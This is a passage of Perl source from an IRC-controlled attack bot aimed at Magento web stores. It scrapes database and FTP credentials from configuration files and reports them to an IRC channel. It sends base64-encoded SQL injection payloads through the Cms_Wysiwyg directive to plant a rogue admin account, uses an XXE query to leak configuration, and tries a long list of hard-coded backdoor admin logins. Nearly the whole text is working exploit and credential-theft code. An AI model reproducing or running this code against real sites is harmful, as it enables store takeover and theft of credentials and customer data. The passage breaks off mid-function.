my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "design";
$form{password} = "web";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","4,1× 0$engine 4× Login :( Success ) 8—–—–—–» 0[4injected0]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1OK!]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1Cant Upload package]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1SMTP package instaled]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1File_System package instaled]");
}
}
}
if ($magen =~ /dbname/)
{
if ($magen =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; }
if ($magen =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; }
if ($magen =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; }
if ($magen =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; }
my $check = &get_content("http://".$site."phpmyadmin");
if ($check =~ /phpMyAdmin/) {
&msg("$channel","15,1[ 4P8hp4M8y4A8dmin4 15] 4,1http://".$site."/phpmyadmin 8,1!9 ".$host." 8! 8,1!4 ".$user." 8,1! 8,1!4 ".$pass." 8,1!");
}
&ftp_connect("http://target.com",$host,$user,$pass,$channel,$engine);
&dbi_connect($host,$user,$pass,$db,$channel,$engine);
&msg("$channel","15,1[ 11$engine 15] 15,1[4D8ata4B8ase315] 8,1[4 http://".$site." 8] 8,1[9 ".$host." 8]0-8,1[9 ".$user." 8]0-8[3 ".$pass." 8]0-8[10 ".$db." 8]");
&msg("$channel","4,1× 0$engine 4×8 ".$user." 8,1——15 ".$db."");
if ($user =~ /_/) { @userz = split(/_/,$user); $usr = $userz[0]; }
my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
if ($ftplog =~ /ftp/) {
&msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
}
if ($ftplog2 =~ /ftp/) {
&msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass."");
}
my $success = 1;
use Net::FTP;
eval {
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
};
if ($success == 0) {
&msg("$channel","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success ");
}
}
if ($magmiz =~ /dbname/)
{
if ($magen =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; }
if ($magen =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; }
if ($magen =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; }
if ($magen =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; }
my $check = &get_content("http://".$site."phpmyadmin");
if ($check =~ /phpMyAdmin/) {
&msg("$channel","15,1[ 4P8hp4M8y4A8dmin3 15] 4,1http://".$site."/phpmyadmin 8,1!9 ".$host." 8! 8,1!4 ".$user." 8,1! 8,1!4 ".$pass." 8,1!");
}
&ftp_connect("http://target.com",$host,$user,$pass,$channel,$engine);
&dbi_connect($host,$user,$pass,$db,$channel,$engine);
&msg("$channel","15,1[ 11$engine 15] 15,1[4D8ata4B8ase415] 8,1[4 http://".$site." 8] 8,1[9 ".$host." 8]0-8,1[9 ".$user." 8]0-8[3 ".$pass." 8]0-8[10 ".$db." 8]");
&msg("$channel","4,1× 0$engine 4×8 ".$user." 8,1——15 ".$db."");
if ($user =~ /_/) { @userz = split(/_/,$user); $usr = $userz[0]; }
my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
if ($ftplog =~ /ftp/) {
&msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
}
if ($ftplog2 =~ /ftp/) {
&msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass."");
}
my $success = 1;
use Net::FTP;
eval {
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
};
if ($success == 0) {
&msg("$channel","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success ");
}
}
if ($html1 =~ /dbname/i )
{
if ($html1 =~ /<\/username>/ ) {$usrx=$1}
if ($html1 =~ /<\/password>/){$passx=$1;}
if ($html1 =~ /<\/frontName>/){$dirs=$1;}
if ($html1 =~ /<\/table_prefix>/){$prefixs=$1;}
if ($html1 =~ /<\/dbname>/){$dbname=$1;}
my $injek1 = "http://".$site.$dirs."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGAiLiRwcmVmaXhzLiJhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzM7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDMzOyAgSU5TRVJUIElOVE8gYCIuJHByZWZpeHMuImFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzMsJ21hZ2VudG8nLCAnZGVzaWduJywgJ2Rlc2lnbkAiLiRob3N0LiInLCAnZGVzaWduJywgJ2Q4OTJhOTI1YTFmN2RhN2UwYmExYTk4NTk5MDU4NzNiOnJwJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgIi4kcHJlZml4cy4iYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzMywgJ2Rlc2lnbicpOzsgLS0=";
&get_content($injek1);&get_content($injek1);&get_content($injek1);&get_content($injek1);
&msg("$channel","14*10!14* 10$engine 14*10!14* 4 ".$usrx." | 10 ".$passx."");
&msg("$channel","14*(3Database14)* 14".$site." - 6 ".$serverIP." - 4 ".$usrx." - 7 ".$passx." - 11".$dbname."");
&msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check1] 0,1[9 ".$dirs." 0]");
if ($usrx =~ /_/) {@users = split("_", $usrx); $userr = $users[0];}
my $success = 1;
my $success = 1;
use Net::FTP;
eval {
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
};
if ($success == 0) {
&msg("$channel","$magelogo [FTP] [ http://".$host." ] [ ".$userr." : ".$pass." ]");
}
my $ceklog = "ftp://".$usrx.":".$pass."@".$site."";
my $ceklog2 = "ftp://".$userr.":".$pass."@".$site."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
if ($ftplog =~ /ftp/) {
&msg("$channel","15,1(10Ftp15) 14(3ftp://".$site."14) 10username:3 ".$usr." [+]password:3 ".$pass."");
}
if ($ftplog2 =~ /ftp/) {
&msg("$channel","15,1(10Ftp15) 14(3ftp://".$site."14) 10username:3 ".$user." 10password:3 ".$pass."");
}
&ftp_connect("http://target.com",$host,$usrx,$pass,$channel,$engine);
&ftp_connect2("http://target.com",$host,$userr,$pass,$channel,$engine);
&get_content($injek1);&get_content($injek1);
my $website1 = "http://".$site."downloader/";
my $check1 = &get_content($website1);
if ($check1 =~ /Magento Downloader/) {
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "design";
$form{password} = "web";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
my $res2 = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1OK!!]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1OK!!]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site.$dirs." 1---> [9,1OK!!]");
}
}
}
my $webx1 = "http://".$site.$dirs."";
my $checkx1 = &get_content($webx1);
if ($checkx1 =~ /Log/i) {
&msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check2] 0,1[9 ".$dirs." 0]");
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "design";
$form{password} = "web";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Dashboard/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1OK!!]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site.$dirs." 1---> [9,1OK!!]");
} } } }
my $html2 = &get_content($test2);
if ($html2 =~ /faultString/i ) {
my $exl = &xxe_query($test2);
if ($exl =~ m/PD94(.*)/){
my $data = $1;
my $hash = decode_base64($data);
if ($hash =~ /<\/frontName>/){$dir=$1;}
if ($hash =~ /<\/table_prefix>/){$prefix=$1;}
my $injek2 = "http://".$site.$dir."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGAiLiRwcmVmaXguImFkbWluX3VzZXJgIFdIRVJFIHVzZXJfaWQgPSAzMzsgIERFTEVURSBGUk9NIGBhZG1pbl9yb2xlYCBXSEVSRSB1c2VyX2lkID0gMzM7ICBJTlNFUlQgSU5UTyBgIi4kcHJlZml4LiJhZG1pbl91c2VyYCAoYHVzZXJfaWRgLCBgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCwgYGVtYWlsYCwgYHVzZXJuYW1lYCwgYHBhc3N3b3JkYCwgYGNyZWF0ZWRgLCBgbW9kaWZpZWRgLCBgbG9nZGF0ZWAsIGBsb2dudW1gLCBgcmVsb2FkX2FjbF9mbGFnYCwgYGlzX2FjdGl2ZWAsIGBleHRyYWApIFZBTFVFUyAgKDMzLCdtYWdlbnRvJywgJ2Rlc2lnbicsICdkZXNpZ25AIi4kaG9zdC4iJywgJ2Rlc2lnbicsICdkODkyYTkyNWExZjdkYTdlMGJhMWE5ODU5OTA1ODczYjpycCcsICdudWxsJywgJ251bGwnLCAnbnVsbCcsIDEsIDAsIDEsICdOOycpOyAgSU5TRVJUIElOVE8gYCIuJHByZWZpeC4iYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzMywgJ2Rlc2lnbicpOzsgLS0=";
&msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check3] 0,1[9 ".$dir." 0]");
&get_content($injek2);&get_content($injek2);&get_content($injek2);&get_content($injek2);
my $website = "http://".$site."downloader/";
my $check2 = &get_content($website);
if ($check2 =~ /Magento Downloader/) {
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "design";
$form{password} = "web";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","4,1× 0$engine 4× http://".$site." 8—–—–—–» 0[4injected0]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1OK!!!]"); } } } }
my $webx2 = "http://".$site.$dir."";
my $checkx2 = &get_content($webx2);
if ($checkx2 =~ /Log/i) {
&ceklogin($website,$engine);
&msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check4] 0,1[9 ".$dir." 0]");
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "design";
$form{password} = "web";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Dashboard/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1OK!!!]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site.$dir." 1---> [9,1OK!!!]"); } }
}
}
}
}
}
sub ceklogin() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "system32";
$form{password} = "devil123";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ system32 ] 2[ devil123 ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ system32 ] 2[ devil123 ]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ system32 ] 2[ devil123 ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
#&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ system32 ] 2[ devil123 ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ system32 ] 2[ devil123 ]");
}
}
}
sub ceklogin1() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "xSouL";
$form{password} = "gentho";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ xSouL ] 2[ gentho ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ xSouL ] 2[ ghentho ]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ xSouL ] 2[ ghentho ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ xSouL ] 2[ ghentho ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ xSouL ] 2[ ghentho ]");
}
}
}
sub ceklogin2() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "jancok";
$form{password} = "jancok";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ jancok ] 2[ jancok ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ jancok ] 2[ jancok ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ jancok ] 2[ jancok ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ jancok ] 2[ jancok ]");
}
}
}
sub ceklogin3() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "forme";
$form{password} = "forme";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ forme ] 2[ forme ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ forme ] 2[ forme ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ forme ] 2[ forme ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ forme ] 2[ forme ]");
}
}
}
sub ceklogin4() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "system_backup";
$form{password} = "123456";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ system_backup ] 2[ 123456 ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ system_backup ] 2[ 123456 ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ system_backup ] 2[ 123456 ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ system_backup ] 2[ 123456 ]");
}
}
}
sub ceklogin5() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "magen";
$form{password} = "magen";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ magen ] 2[ magen ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ magen ] 2[ magen ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ magen ] 2[ magen ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ magen ] 2[ magen ]");
}
}
}
sub ceklogin6() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "blackunix";
$form{password} = "crew";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ blackunix ] 2[ crew ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ blackunix ] 2[ crew ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ blackunix ] 2[ crew ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ blackunix ] 2[ crew ]");
}
}
}
sub ceklogin7() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "Jhones";
$form{password} = "kreator";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ Jhones ] 2[ kreator ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ Jhones ] 2[ kreator ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ Jhones ] 2[ kreator ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ Jhones ] 2[ kreator ]");
}
}
}
sub ceklogin8() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "sysadm";
$form{password} = "123456";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ sysadm ] 2[ 123456 ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ sysadm ] 2[ 123456 ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ sysadm ] 2[ 123456 ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ sysadm ] 2[ 123456 ]");
}
}
}
sub ceklogin9() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "bogel";
$form{password} = "gagal";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ bogel ] 2[ gagal ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ bogel ] 2[ gagal ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ bogel ] 2[ gagal ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ bogel ] 2[ gagal ]");
}
}
}
sub ceklogin10() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "miyabi";
$form{password} = "wew";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ miyabi ] 2[ wew ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ miyabi ] 2[ wew ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
